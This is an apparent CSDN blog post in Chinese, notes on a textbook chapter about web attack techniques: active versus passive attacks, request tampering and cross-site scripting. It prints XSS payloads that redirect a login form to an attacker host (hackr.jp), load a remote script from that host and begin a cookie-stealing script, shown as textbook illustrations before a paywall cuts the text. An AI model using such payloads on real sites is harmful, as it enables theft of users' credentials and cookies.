图解HTTP十一：Web 的攻击技术

最新推荐文章于 2024-08-01 08:39:32 发布
最新推荐文章于 2024-08-01 08:39:32 发布
阅读量2.6k 收藏 6
点赞数 3
分类专栏： # 图解HTTP 文章标签： 数据库 安全 csrf xss http
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_39020133/article/details/106761917
版权

11.1 针对 Web 的攻击技术

11.1.1 HTTP 不具备必要的安全功能

从整体上看， HTTP 就是一个通用的单纯协议机制。因此它具备较多优势，但是在安全性方面则呈劣势。开发者需要自行设计并开发认证及会话管理功能来满足 Web 应用的安全。而自行设计就意味着会出现各种形形色色的实现。结果，安全等级并不完备，可仍在运作的 Web 应用背后却隐藏着各种容易被攻击者滥用的安全漏洞的 Bug。

11.1.2　在客户端即可篡改请求

在 Web 应用中，从浏览器那接收到的 HTTP 请求的全部内容，都可以在客户端自由地变更、篡改。所以Web 应用可能会接收到与预期 数据不相同的内容。在 HTTP 请求报文内加载攻击代码，就能发起对 Web 应用的攻击。通过 URL 查询字段或表单、 HTTP 首部、 Cookie 等途径把攻击代码传入，若这时 Web 应用存在安全漏洞，那内部信息就会遭到窃取，或被攻击者拿到管理权限。

在这里插入图片描述

对 Web 应用的攻击

11.1.3　针对 Web 应用的攻击模式

对 Web 应用的攻击模式有以下两种。

  • 主动攻击
  • 被动攻击

以服务器为目标的主动攻击：主动攻击（active attack）是指攻击者通过直接访问 Web 应用，把攻击代码传入的攻击模式。由于该模式是直接针对服务器上的资源进行攻击，因此攻击者需要能够访问到那些资源。主动攻击模式里具有代表性的攻击是 SQL 注入攻击和 OS 命令注入攻击。
在这里插入图片描述

主动攻击

以服务器为目标的被动攻击：被动攻击（passive attack）是指利用圈套策略执行攻击代码的攻击模式。在被动攻击过程中，攻击者不直接对目标 Web 应用访问发起攻击。被动攻击通常的攻击模式如下所示。

  • 步骤 1： 攻击者诱使用户触发已设置好的陷阱，而陷阱会启动发送已嵌入攻击代码的 HTTP 请求。
  • 步骤 2： 当用户不知不觉中招之后，用户的浏览器或邮件客户端就会触发这个陷阱。
  • 步骤 3： 中招后的用户浏览器会把含有攻击代码的 HTTP 请求发送给作为攻击目标的 Web 应用，运行攻击代码。
  • 步骤 4： 执行完攻击代码，存在安全漏洞的 Web 应用会成为攻击者的跳板，可能导致用户所持的Cookie 等个人信息被窃取，登录状态中的用户权限遭恶意滥用等后果。被动攻击模式中具有代表性的攻击是跨站脚本攻击和跨站点请求伪造。
    在这里插入图片描述
被动攻击

利用用户的身份攻击企业内部网络：利用被动攻击，可发起对原本从互联网上无法直接访问的企业内网等网络的攻击。只要用户踏入攻击者预先设好的陷阱，在用户能够访问到的网络范围内，即使是企业内网也同样会受到攻击。很多企业内网依然可以连接到互联网上，访问 Web 网站，或接收互联网发来的邮件。这样就可能给攻击者以可乘之机，诱导用户触发陷阱后对企业内网发动攻击。
在这里插入图片描述

利用被动攻击对企业内网发动攻击

11.2 因输出值转义不完全引发的安全漏洞

实施 Web 应用的安全对策可大致分为以下两部分。

  • 客户端的验证
  • Web 应用端（服务器端）的验证
    • 输入值验证
    • 输出值转义

在这里插入图片描述

验证数据的几个地方

多数情况下采用 JavaScript 在客户端验证数据。可是在客户端允许篡改数据或关闭 JavaScript，不适合将JavaScript 验证作为安全的防范对策。保留客户端验证只是为了尽早地辨识输入错误，起到提高 UI 体验的作用。Web 应用端的输入值验证按 Web 应用内的处理则有可能被误认为是具有攻击性意义的代码。输入值验证通常是指检查是否是符合系统业务逻辑的数值或检查字符编码等预防对策。从数据库或文件系统、 HTML、邮件等输出 Web 应用处理的数据之际，针对输出做值转义处理是一项至关重
要的安全策略。当输出值转义不完全时，会因触发攻击者传入的攻击代码，而给输出对象带来损害。

11.2.1 跨站脚本攻击

跨站脚本攻击（Cross-Site Scripting， XSS）是指通过存在安全漏洞的 Web 网站注册用户的浏览器内运行非法的 HTML 标签或 JavaScript 进行的一种攻击。动态创建的 HTML 部分有可能隐藏着安全漏洞。就这样，攻击者编写脚本设下陷阱，用户在自己的浏览器上运行时，一不小心就会受到被动攻击。
跨站脚本攻击有可能造成以下影响。

  • 利用虚假输入表单骗取用户个人信息。
  • 利用脚本窃取用户的 Cookie 值，被害者在不知情的情况下，帮助攻击者发送恶意请求。
  • 显示伪造的文章或图片。
跨站脚本攻击案例

在动态生成 HTML 处发生
下面以编辑个人信息页面为例讲解跨站脚本攻击。下方界面显示了用户输入的个人信息内容。

解跨站脚本攻击案例

确认界面按原样显示在编辑界面输入的字符串。此处输入带有山口一郎这样的 HTML 标签的字符串。

按照输入内容原样显示的机制

此时的确认界面上，浏览器会把用户输入的 s 解析成 HTML 标签，然后显示删除线。删除线显示出来并不会造成太大的不利后果，但如果换成使用 script 标签将会如何呢。

XSS 是攻击者利用预先设置的陷阱触发的被动攻击

跨站脚本攻击属于被动攻击模式，因此攻击者会事先布置好用于攻击的陷阱。下图网站通过地址栏中 URI 的查询字段指定 ID，即相当于在表单内自动填写字符串的功能。而就在这个地方，隐藏着可执行跨站脚本攻击的漏洞。

按照输入内容原样显示的机制

充分熟知此处漏洞特点的攻击者，于是就创建了下面这段嵌入恶意代码的 URL。并隐藏植入事先准备好的欺诈邮件中或 Web 页面内，诱使用户去点击该 URL。 
http://example.jp/login?ID="><script>var+f=document.getElementById("login");+f.action="htt

浏览器打开该 URI 后，直观感觉没有发生任何变化，但设置好的脚本却偷偷开始运行了。当用户在表单内输入 ID 和密码之后，就会直接发送到攻击者的网站（也就是 hackr.jp），导致个人登录信息被窃取。

对用户 Cookie 的窃取攻击
除了在表单中设下圈套之外，下面那种恶意构造的脚本同样能够以跨站脚本攻击的方式，窃取到用户的Cookie 信息。

<script src=http://hackr.jp/xss.js></script>

该脚本内指定的 http://hackr.jp/xss.js 文件。即下面这段采用 JavaScript 编写的代码。

var content = escape(document.cookie);
document.write
最低0.47元/天 解锁文章
亥虫
关注
专栏目录
web安全常见攻击方式及原理
学-> 思->用
05-05 1202
文章目录web攻击常见的攻击手段模糊测试零日攻击暴力破解XSS攻击攻击原理防护手段CSRF 攻击攻击原理示例防护手段SQL注入攻击攻击原理防护手段文件上传漏洞DDOS攻击攻击原理SYN Flood web攻击 在某种程度上,互联网上的每个站都有可能遭受网络攻击.网络攻击最主要的目的是为了求财,无论你是运营的电子商务项目还是小型商业网站,潜在的攻击的风险都在那里; 知己知彼百战不殆，当今网络时代，了解自己面对着何种威胁比以往任何时候都来得更为重要。每种恶意攻击都有自己的特性，不同类型的攻击那么多，似乎不太可能
图解HTTP之Web的攻击技术（十一）
csdn916865的博客
12-18 383
简单的 HTTP 协议本身并不存在安全性问题，因此协议本身几乎不会成为攻击的对象。应用 HTTP 协议的服务器和客户端，以及运行在服务器上的 Web 应用等资源才是攻击目标。 对Web应用的攻击模式有以下两种。 主动攻击（active attack），是指攻击者通过直接访问 Web 应用，把攻击代码传入的攻击模式。由于该模式是直接针对服务器上的资源进行攻击，因此攻击者需要能够访问到那些资源...
Web攻击操作流程
Apollo_jie的专栏
06-04 1675
1.      环境配置   1.1   操作安装配置（Win 2003） 1.2   IIS+ SQL Server+ACCESS 下载IIS组件、SQL Server、Access安装包并安装 1.3   OYY网站安装配置 1.3.1         ASP+ACCESS ①    下载OYY网站源码，放在C盘根目录下 ②    发布网站：打开IIS管理器，新建网站->输入网
网络安全领域五大注入攻击类型介绍（非常详细）零基础入门到精通，收藏这一篇就够了
最新发布
leah126的博客
08-01 1107
SQL注入是最常见的注入攻击类型之一，攻击者通过在输入字段中插入恶意的SQL代码来改变原本的SQL逻辑或执行额外的SQL语句，来操控数据库执行未授权的操作（如拖库、获取管理员信息、获取 WebShell权限等）。XSS攻击允许攻击者在用户的浏览器中执行恶意脚本，通常用于窃取用户的会话信息、Cookies等。应用程序包含反射式输入类型时容易出现跨站脚本攻击。比如弹出一个假的窗口骗取用户信息。命令注入攻击允许攻击者在服务器上执行任意命令，通常通过在输入字段中插入系统命令来实现。
【图解HTTP】——Web的攻击技术
weixin_46146755的博客
03-03 4017
互联网上的攻击大都将Web站点作为目标 1 HTTP协议本身不存在安全性问题，应用HTTP协议的服务器和客户端，以及运行在服务器上的Web应用等资源才是攻击目标 HTTP不具备必要的安全功能，仅是一个通用的单纯协议机制，开发者需要自行设计并开发认证及会话管理功能来满足Web应用的安全 容易被攻击者滥用的安全漏洞的Bug： 在客户端即可篡改请求 Web应用可能会接收到与预期数据不相同的内容 在HTTP请求报文内加载攻击代码，就可以发起对Web应用的攻击 通过URL查询字段或表单、HTTP首部、Cookie等
web项目攻击流程
iteye_8039的博客
05-01 817
基本上，参加的安全测试（渗透测试）的网站，可能或多或少存在下面几个漏洞：SQL注入漏洞、跨站脚本攻击漏洞、登陆后台管理页面、IIS短文件/文件夹漏洞、系统敏感信息泄露。   这些安全性测试，据了解一般是先收集数据，然后进行相关的渗透测试工作，获取到网站或者系统的一些敏感数据，从而可能达到控制或者破坏系统的目的。   第一步是信息收集，收集如IP地址、DNS记录、软件版本信息、IP段等信...
图解HTTP六：HTTP 首部
神薯片
06-06 3585
6.1 HTTP 报文首部 在请求中， HTTP 报文由方法、 URI、 HTTP 版本、 HTTP 首部字段等部分构成。 请求报文 在响应中， HTTP 报文由 HTTP 版本、状态码（数字和原因短语）、 HTTP 首部字段 3 部分构成。 请求报文 6.2 HTTP 首部字段 6.2.1 HTTP 首部字段传递重要信息 HTTP 首部字段是构成 HTTP 报文的要素之一。在客户端与服务器之间以 HTTP 协议进行通信的过程中，无论是请求还是响应都会使用
【技术干货】浏览器工作原理和常见WEB攻击 （上）
weixin_34185512的博客
06-21 149
本文作者：上海驻云开发总监 陈昂 浏览器工作原理 当你打开一个个设计漂亮、简洁大方的网页，有没有想过浏览器是如何展现这么一个网页的呢。当你在这些网页上输入你的淘宝账号登录购买东西的时候，有没有想过，你的账号密码、身份证号、手机号、真实姓名，这些信息会不会泄露，被黑客利用呢？在了解网络安全方面的知识之前我们先简单了解下浏览器的工作原理，以辅助...
WEB安全攻防技术精讲视频教程（全漏洞原理+攻击手段+测试方法+预防措施）
06-09
根据机构调研，目前安全问题80%都发生在WEB安全层面上，但是往往企业中只有20%的防护成本运用到web安全上。本课程中，从web安全漏洞原理、攻击手段、测试方法、预防措施四个方面全面剖析WEB安全的点点滴滴，针对开发人员、测试人员、运维人员、网络工程师都能够起到一定的指导意义。
常见的几种web攻击方式及原理
yw00yw的博客
07-06 5377
常见的几种web攻击方式 SQL注入攻击 重定向攻击 上传文件攻击 Dos攻击（Denial of Service attack） 跨站点请求伪造（CSRF，Cross-Site Request Forgeries） XSS攻击（Cross-Site scripting） 常见的web攻击原理 xss跨站攻击技术： 主要是攻击者往网页里嵌入恶意脚本，或者通过改变html元...
三种web攻击的简单原理
fiao666的博客
08-16 955
xss注入漏洞原理 XSS的基本概念 XSS又叫CSS (Cross Site Script) ，跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意的特殊目的。XSS属于被动式的攻击，因为其被动且不好利用，所以许多人常呼略其危害性。xss是一种发生在web前端的漏洞，所以其危害的对象也主要是前端用户 在WEB2.0时代，强调的是互动，使得用户输入信息的机会大增，在这个情况下，我们作为开发者，在开发的时候，要提高
Web的攻击技术
qq_45400916的博客
08-31 200
针对Web应用的攻击模式 主要有以下两种： 主动攻击和被动攻击 以服务器为目标的主动攻击 主动攻击（active attack）是指攻击者通过直接访问Web应用，把攻击代码传入的攻击模式。由于该模式是直接针对服务器上的资源进行攻击，因此攻击者需要能够访问到那些资源。 主动攻击模式里具有代表性的攻击是SQL注入攻击和OS命令注入攻击。 以服务器为目标的被动攻击 被动攻击（passive attack）是指利用圈套策略执行攻击代码的攻击模式。在被动攻击过程中，攻击者不直接对目标Web应用访问发起攻击。 被动攻击
网络安全观察恶意流量观察
m0_73803866的博客
10-15 1141
漏洞，如 WebLogic XMLDecoder 反序 列化漏洞、ThinkPHP 远程代码执行漏洞、Apache Solr 远程代码执行漏洞、Atlassian Jira 模板注入漏洞等， 此类漏洞最受黑客团伙青睐，利用代码在短时间内被集成进成熟的攻击框架或木马程序中，进一步降低 了漏洞利用的门槛，而从漏洞 PoC 公布到被攻击者大规模利用的时间窗口也在进一步缩短，给安全厂 商防护能力带来了更大的挑战。2019 年，针对 Web 的攻 击态势中，传统攻击模式和攻击方法仍占主流，如。
web安全中使用beef工具自动化xss攻击流程
qq_63539335的博客
01-30 684
web安全中使用beef工具实现自动化xss攻击
web安全与性能优化（web 攻击）
1461590508@qq.com的博客
07-24 1345
前端经典项目框架如下 全栈项目经典后端框架如下 前端技术栈如下：（可自行百度看API文档） –elementUI – Vue.js – Npm – Webpack – WebSocket – Node 后端技术栈如下： – 基础Web服务，微服务架构 – Mysql – Redis – ElasticS – Nginx – CDN Redis• Redis 是完全开源的，遵守 BSD 协议，是一个高性能的key-value 数据库。 – Redis支持数据的持久化，可以将内存中的数据保存在磁盘中，重启.
bind9 域名劫持_怎样查看域名劫持，域名劫持的原理以及如何解决域名劫持
weixin_39950812的博客
12-18 324
域名劫持是什么域名劫持是互联网攻击的一种方式，通过攻击域名解析服务器(DNS)，或伪造域名解析服务器(DNS)的方法，把目标网站域名解析到错误的IP地址从而实现用户无法访问目标网站的目的或者蓄意或恶意要求用户访问指定IP地址(网站)的目的。DNS劫持危害非常大。一方面影响用户的上网体验，用户被引到假冒的网站进而无法正常浏览网页，尤其是用户量较大的网站域名被劫持后恶劣影响会不断扩大；另一方面用户可能...
Java代码漏洞检测-常见漏洞与修复建议
晨港飞燕的专栏
11-19 7354
在工作中，我们的交付团队在交付项目时，可能会遇到甲方会使用一些第三方工具（奇安信等）对项目代码进行扫描，特别是一些对安全性要求比较高的企业，比如涉及到一些证券公司、银行、金融等。他们会在项目上线前进行代码安全检测，通过了对方才会发布上线。原文链接：https://blog.csdn.net/qq_39560975/article/details/131956264。
图解HTTP：从基础到Web安全
同时，书中还介绍了常见的Web攻击手段，如跨站脚本（XSS）和SQL注入，帮助读者理解网络安全的重要性。 针对不同层次的读者，本书不仅适合前端工程师分析网络请求数据，也适用于后端工程师在实现RESTful API和自建...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值